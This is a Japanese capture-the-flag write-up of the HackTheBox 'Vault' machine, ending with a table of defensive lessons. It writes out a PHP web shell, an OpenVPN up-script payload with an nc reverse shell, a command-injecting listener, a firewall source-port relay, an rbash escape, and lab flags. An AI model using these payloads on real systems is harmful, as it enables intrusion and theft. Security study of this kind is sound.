HackTheBox: Vault — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 open
→
22/80 open
.php5アップロードバイパス
changelogo.php
→
changelogo.php
dave資格情報 + GPGパスフレーズ
Desktop/{ssh,key,Servers}
→
Desktop/{ssh,key,Servers}
OpenVPN up-script RCE
vpnconfig.php(確率的発火)
→
vpnconfig.php(確率的発火)
192.168.122.4 root化
user.txt + dave2資格情報 ✓
→
user.txt + dave2資格情報 ✓
ファイアウォール送信元ポートバイパス
ncat -p 53/4444
→
ncat -p 53/4444
rbash脱出
192.168.5.2 (Vault)
→
192.168.5.2 (Vault)
root.txt.gpg → GPG復号 ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & トップページ確認
BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.80.84 curl -sk http://10.129.80.84/
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http <b>Welcome to the Slowdaddy web interface</b> <p> We specialise in providing financial orginisations with strong web and database solutions and we promise to keep your customers financial data safe. <p> We are proud to announce our first client: Sparklays (Sparklays.com still under construction)
ℹ️
稼働サービスはSSH(22)とHTTP(80)のみ。トップページから”Sparklays”という
クライアントサイト(
/sparklays/配下)の存在が示唆される。
PHASE 2
.php5アップロードバイパス → www-data RCE
Sparklaysサイトのロゴアップロード機能を発見
NOTE
/sparklays/design/design.html に、クライアント企業のロゴをアップロードする フォームがあり、POST先は changelogo.php。拡張子フィルタがあり ".php" は拒否 されるが、Apacheの AddHandler 設定ミスにより ".php5" もPHPとして実行される (典型的な拡張子ブラックリスト不備)。
BASH (Webシェル作成 & アップロード)
echo '<?php system($_GET["cmd"]); ?>' > shell.php5 curl -sk -F "file=@shell.php5" -F "submit=upload file" \ http://10.129.80.84/sparklays/design/changelogo.php
RESULT
The file was uploaded successfully<br><br>
<!DOCTYPE html>...
RCE確認
BASH
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \ --data-urlencode "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
www-data権限でのRCE成立。 以降、このWebシェル経由で全ての
偵察・情報収集コマンドを実行する。
PHASE 3
内部情報収集 — dave資格情報・GPGパスフレーズ・サーバー一覧
dave の Desktop 配下の平文ファイルを閲覧
BASH
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \ --data-urlencode "cmd=cat /home/dave/Desktop/ssh" curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \ --data-urlencode "cmd=cat /home/dave/Desktop/key" curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \ --data-urlencode "cmd=cat /home/dave/Desktop/Servers"
RESULT
# Desktop/ssh dave Dav3therav3123 # Desktop/key itscominghome # Desktop/Servers DNS + Configurator - 192.168.122.4 Firewall - 192.168.122.5 The Vault - x
ℹ️
これら3ファイルは所有者が
alexだが権限は読み取り可能なまま
daveのDesktopに置かれている(典型的な設定ミス)。SSH資格情報
(dave:Dav3therav3123)、GPGパスフレーズ(後でroot.txt.gpgの復号に
使う)、そして内部ネットワークのサーバー一覧が判明する。
daveでSSHログイン & ハイパーバイザー構成の確認
BASH
ssh dave@10.129.80.84 # Dav3therav3123 ps aux | grep qemu
RESULT
libvirt+ 1692 ... qemu-system-x86_64 -name Vault ... -drive file=/var/lib/libvirt/images/Vault.qcow2 ... libvirt+ 1747 ... qemu-system-x86_64 -name DNS ... -drive file=/var/lib/libvirt/images/DNS.qcow2 ... libvirt+ 1821 ... qemu-system-x86_64 -name Firewall ... -drive file=/var/lib/libvirt/images/Firewall.qcow2 ...
🚨
このマシン自体がKVM/libvirtハイパーバイザーで、
virbr0(192.168.122.1/24)配下に DNS / Firewall / Vault
という3つのゲストVMが稼働している。dave は libvirt グループに属しておらず
virshへのアクセスは拒否される(Permission denied)ため、
各ゲストへは個別にネットワーク経由でピボットする必要がある。
PHASE 4
192.168.122.4 “VPN Configurator” — OpenVPN up-script RCE
dave経由でVPN Configuratorへピボット
BASH
# dave@targetからの ssh -L で192.168.122.4:80へトンネル ssh -L 8880:192.168.122.4:80 dave@10.129.80.84 # 別ターミナルから curl -sk http://127.0.0.1:8880/vpnconfig.php
RESULT
<h1> VPN Configurator </h1><p>
Here you can modify your .ovpn file and execute it.<p>
Note: nobind must be used. <p>
<form action="vpnconfig.php?function=testvpn" method="post">
<textarea rows="10" cols="40" name="text"></textarea><p>
<input type="submit" value="Update file">
<input type="hidden" name="resulturl" value="google.com">
<p>
<a href="vpnconfig.php?function=testvpn" class="mybutton">Test VPN</a>
</html>
🚨
重要な見落としポイント: POST先と”Test VPN”リンクの
URLは完全に同一(
vpnconfig.php?function=testvpn)だが、
実際には2つの異なる操作である。POST(Update file ボタン)は
アップロードした内容を 123.ovpn というファイルへ保存するだけで、
実際に sudo openvpn 123.ovpn を実行するのは別の GET リクエスト
(“Test VPN”リンク)である。POSTだけを何度繰り返しても何も実行されない。
script.sh の内容を直接確認(静的ファイルとして公開されていた)
BASH
curl -sk http://127.0.0.1:8880/script.sh curl -sk http://127.0.0.1:8880/notes
RESULT
# script.sh
#!/bin/bash
sudo openvpn 123.ovpn
# notes
chmod 123.ovpn and script.sh to 777
ℹ️
裏側の実体はたったこれだけ。タイムアウトも
バックグラウンド化もない、単純な
sudo openvpn 123.ovpn の同期実行。
OpenVPNのscript-security 2 + up ディレクティブを悪用すれば、
root権限でのコマンド実行が可能になる(典型的なOpenVPN up-script特権昇格)。
正しい .ovpn ペイロードの構成 — 公開writeupと複数の実機検証で確定
NOTE (重要な罠まとめ)
実機での試行錯誤の結果、以下の構成要素が全て必須であることが判明した: 1. dev null は機能しない: 一般的なGTFOBinsの "openvpn --dev null --script-security 2 --up ..." は、この対象機の 古いopenvpnバージョンでは up スクリプトが一切発火しない。 "remote <IP>" + "ifconfig <ローカルIP> <リモートIP>" + "dev tun" + "nobind" という、実際のトンネル確立を試みる構成が必要。 2. bashの/dev/tcpは使えない: upスクリプトから生成される シェルは "/bin/sh -i"(bashではない)であり、/dev/tcp組込みリダイレクトは 動作しない。実際の "nc" コマンドを使うmkfifoリバースシェルが必要: /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <host> <port> >/tmp/f' 3. 発火は確率的: "Test VPN" (GET) を1回叩くだけでは 高確率で失敗する。複数回(10回前後)リトライして初めて成功することがある。 4. upスクリプトはCWD="/var/www/html"で実行される(公開writeupで確認済み)。
BASH (最終的なペイロード)
cat > vault_rce.ovpn << 'EOF' remote 192.168.122.1 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 9196 >/tmp/f'" nobind EOF # 1. kali側(実際はdave@target経由でトンネルしたリスナー)で受信準備 # nc -lvnp-k の単純ログ取りは対話シェルへのEOFで即座に閉じるため、 # 自前のPython TCPハンドラでコマンド注入する(次項参照) # 2. POST (保存) curl -sk -X POST "http://127.0.0.1:8880/vpnconfig.php?function=testvpn" \ --data-urlencode "text@vault_rce.ovpn" --data-urlencode "resulturl=google.com" # 3. GET (実行トリガー) を複数回リトライ for i in $(seq 1 12); do curl -sk --max-time 4 "http://127.0.0.1:8880/vpnconfig.php?function=testvpn" -o /dev/null sleep 1 done
リバースシェルの捕捉 — 自前Pythonハンドラが必須
NOTE
mkfifoリバースシェルが実際に接続してきても、単純な "nc -lvnp <port> -k > log.txt" のようなログ取りでは、nc自身のstdinが /dev/nullにリダイレクトされているため、接続直後に対話シェル側へEOFが流れ、 "/bin/sh -i" が即座に終了してしまう(接続直後に"Connection closed"が 記録されるだけで何もコマンドを実行できない)。 対象機のUbuntu16.04はpython3.5が標準(f-string未対応)のため、 以下のような軽量TCPサーバーを用意し、接続受理後に能動的に sendall()でコマンド列を送信する方式を使う:
PYTHON (vault_handler.py、Python3.5互換)
import socket, sys, time
PORT = int(sys.argv[1]); OUTFILE = sys.argv[2]; CMDS = sys.argv[3:]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", PORT)); s.listen(1); s.settimeout(90)
with open(OUTFILE, "ab") as f:
conn, addr = s.accept()
f.write(("=== CONNECTED FROM %s ===\n" % str(addr)).encode())
conn.settimeout(5); time.sleep(1)
for cmd in CMDS:
conn.sendall((cmd + "\n").encode())
time.sleep(1.5)
try:
while True:
data = conn.recv(65536)
if not data: break
f.write(data); f.flush()
except socket.timeout:
pass
RESULT (捕捉したログ)
=== CONNECTED FROM ('192.168.122.4', 45422) ===
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=0(root) groups=0(root)
# DNS
# KEYDONE
# /home/dave/user.txt
...
# total 48
...
-rw-rw-r-- 1 dave dave 33 Sep 3 2018 user.txt
✅
root権限でのコマンド実行に成功!(uid=0)。この1回の
接続で、ホスト名確認・
/root/.ssh/authorized_keysへの公開鍵永続化
(KEYDONE)・/home/dave/user.txtの発見まで一括で完結させた。
PHASE 5
user.txt取得 & ファイアウォール送信元ポートバイパス
永続化した鍵で192.168.122.4へ再接続、user.txtと2つ目の資格情報を取得
BASH
# dave@target経由で192.168.122.4:22へトンネルし、 # さきほど永続化したSSH鍵でroot接続 ssh -L 18822:192.168.122.4:22 dave@10.129.80.84 ssh -i vault_dns_root.key -p 18822 root@127.0.0.1 \ "cat /home/dave/user.txt; cat /home/dave/ssh"
RESULT
a4947faa8d4e1f80771d34234bd88c73 --- dave dav3gerous567
user.txt — /home/dave/user.txt (192.168.122.4 “DNS”)
a4947faa8d4e1f80771d34234bd88c73
ℹ️
/home/dave/sshというファイルに、main hostと同じ”dave”という
ユーザー名だが別のパスワード(dav3gerous567)が
記載されている。これが次の段のファイアウォール/Vaultホストへの
ピボット用資格情報になる。
ファイアウォール(192.168.122.5)の送信元ポート制限を確認
BASH (root@192.168.122.4のシェルから)
cat /etc/hosts ip route nc -zv -w3 192.168.5.2 987 # 直接は失敗する ncat -v -p 53 192.168.5.2 987 < /dev/null # 送信元ポート53なら成功
RESULT
192.168.5.2 Vault 192.168.5.0/24 via 192.168.122.5 dev ens3 nc: connect to 192.168.5.2 port 987 (tcp) timed out Ncat: Connected to 192.168.5.2:987. SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
🚨
ファイアウォールは送信元ポートのみでフィルタしている。
通常のアウトバウンド接続(ランダムな高ポート)はブロックされるが、
送信元ポートを53番(または4444番)に固定すると
192.168.5.2(Vault、SSHは非標準の987番)への到達が許可される。
ncatリレーで送信元ポートバイパスをトンネル化
BASH (root@192.168.122.4のシェルから)
setsid nohup ncat -l 12222 -k --sh-exec \ "ncat -p 53 192.168.5.2 987" > /tmp/.relay.log 2>&1 < /dev/null & disown -a
⚠️
重大な罠: このリレーに
-k(複数接続受付)を
付けないと、SSH -L のローカルポート生存確認
(単純なconnect+close)自体がリレーの唯一の接続機会を消費してしまい、
本番のSSHログインがConnection reset by peerで失敗する。
-kを維持したまま、ローカル側の生存確認はconnect型を避け
固定のsleepで待つのが正しい対処。
PHASE 6
rbash脱出 → root.txt.gpg取得 → GPG復号
2段トンネル経由でVaultホスト(192.168.5.2)へdave2としてログイン
BASH
# root@192.168.122.4経由でリレー(12222)をkali側までさらにトンネル ssh -i vault_dns_root.key -p 18822 -N -L 18823:127.0.0.1:12222 root@127.0.0.1 & # dave2(dave:dav3gerous567)でログイン、rbash脱出 ssh -p 18823 dave@127.0.0.1 -t 'bash --noprofile -c "id"'
RESULT
Linux Vault ... x86_64
Here's Waldo, where's root? (※別マシンの演出ではなく実際にこのバナー表示)
-rbash: alias: command not found
...
uid=1001(dave) gid=1001(dave) groups=1001(dave)
ℹ️
ログイン直後の
-rbash: alias: command not found警告から
制限付きシェル(rbash)であることが分かるが、
-t 'bash --noprofile -c ""' でrbashの初期化を一切経由せず
通常のbashを強制起動することで容易に回避できる。
root.txt.gpg を発見 & base32で持ち出す
BASH
ssh -p 18823 dave@127.0.0.1 -t 'bash --noprofile -c \
"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; \
find / -xdev -maxdepth 3 -iname root.txt.gpg 2>/dev/null -exec base32 {} \;"'
⚠️
罠:
find / -maxdepth 2では
/home/dave/root.txt.gpg(深さ3: /=0, /home=1,
/home/dave=2, ファイル自体=3)に到達できず、エラーも出ずに
静かに何も見つからない。-maxdepth 3が正しい。
RESULT
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB ... (以下略、629バイト相当のbase32テキスト) ... TTAX3UIRVNBQMYRI7XY=
main hostへ転送 → base32デコード → GPG復号
BASH
# base32テキストをファイルに保存し、dave@main hostへscp scp root_txt_gpg.b32 dave@10.129.80.84:/tmp/.root.txt.gpg.b32 ssh dave@10.129.80.84 " base32 -d /tmp/.root.txt.gpg.b32 > /tmp/.root.txt.gpg echo 'itscominghome' | gpg --batch --yes --passphrase-fd 0 -d /tmp/.root.txt.gpg "
RESULT
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
"david <dave@david.com>"
ca468370b91d1f5906e31093d9bfe819
ℹ️
対象の
gpgは1.4.20で--pinentry-modeオプションに
未対応のため、新しいgpg2環境向けの構文(--pinentry-mode loopback
--passphrase)はエラーになる。--passphrase-fd 0方式
(パスフレーズを標準入力経由で渡す古典的な方法)を使う必要がある。
daveの~/.gnupgに秘密鍵が既に存在しているため、
Desktop/keyで入手したパスフレーズ(itscominghome)だけで復号できる。
root.txt — /home/dave/root.txt.gpg (192.168.5.2 "Vault"、main hostでGPG復号)
ca468370b91d1f5906e31093d9bfe819
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — /home/dave/user.txt (192.168.122.4)
a4947faa8d4e1f80771d34234bd88c73
root.txt — /home/dave/root.txt.gpg (192.168.5.2、GPG復号)
ca468370b91d1f5906e31093d9bfe819
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| アップロード拡張子バイパス | changelogo.php (.php5許可) | 無認証RCE (www-data) | Critical | ブラックリストが".php"のみ拒否、Apacheが.php5もPHPとして実行するAddHandler設定ミスを突く |
| 平文資格情報の放置 | /home/dave/Desktop/{ssh,key,Servers} | SSH資格情報・GPGパスフレーズ・内部トポロジ漏洩 | Medium | 所有者alexだが読み取り可能なままdaveのDesktopに放置 |
| OpenVPN up-script RCE | vpnconfig.php (script-security 2 + sudo openvpn) | 権限昇格(root on 192.168.122.4) | Critical | 任意の.ovpn設定をアップロードし"Test VPN"で実行、up ディレクティブでroot権限コマンド実行(確率的発火・多くの構成上の罠あり) |
| ファイアウォール送信元ポートのみでのフィルタ | 192.168.122.5 (Firewall) | 内部セグメンテーション回避 | High | 送信元ポートを53/4444に固定するだけで192.168.5.0/24への到達制限を回避 |
| rbash (制限シェル) の回避 | Vaultホストのdave2ログインシェル | 制限シェルの完全な無効化 | Medium | ssh ... -t 'bash --noprofile -c "..."'で初期化スクリプトを経由せず通常bashを強制起動 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(22/80のみ) | "Slowdaddy/Sparklays"パターン確認 |
| 2 | エクスプロイト | changelogo.phpの.php5アップロードバイパス | www-data RCE |
| 3 | 内部情報収集 | dave Desktop配下の平文ファイル閲覧 | dave資格情報・GPGパスフレーズ・サーバー一覧・KVM/libvirt構成確認 |
| 4 | OpenVPN RCE | vpnconfig.phpのup-script RCE(remote+ifconfig+dev tun+nobind、mkfifo+nc)、確率的発火を最大12回リトライ | 192.168.122.4をroot化 |
| 5 | 情報回収 | 自前Pythonハンドラでリバースシェルからコマンド注入 | user.txt + 2つ目のdave資格情報 |
| 6 | ファイアウォール突破 | ncatリレー(送信元ポート53/4444固定)でVaultホストへ到達 | 192.168.5.2へのSSH到達性確立 |
| 6' | 権限昇格 | rbash脱出 + root.txt.gpgのbase32持出し + GPG復号(--passphrase-fd 0) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ファイルアップロードの拡張子ブラックリストが不完全(.php5未対応) | 許可リスト方式(画像拡張子+マジックバイト検証)に切り替え、Apacheの古いAddHandler設定(.php, .php5等を全てPHPとして実行)を見直す。 |
| 資格情報・内部トポロジ情報が平文でDesktop上に放置 | 機密情報をデスクトップ上の平文ファイルに置かない。パスワードマネージャーやVault製品を使う。 |
| ユーザー制御の.ovpnファイルをsudo経由でそのまま実行するWebアプリ機能 | ユーザー入力でOpenVPN設定ファイルを構成させない。少なくともscript-security・up・down等の危険なディレクティブをサーバー側でホワイトリスト検証し拒否する。 |
| 内部ファイアウォールが送信元ポートのみでフィルタしている | 送信元ポートはクライアントが自由に選べるため信頼できる識別子にならない。送信元IPアドレス・証明書・VPN等、偽装困難な要素でアクセス制御する。 |
| rbashは`-t`付きSSHで容易に回避できる | 制限シェルをセキュリティ境界として過信しない。sudoの許可コマンドリストやAppArmor/SELinux等のOSレベル強制アクセス制御と併用する。 |

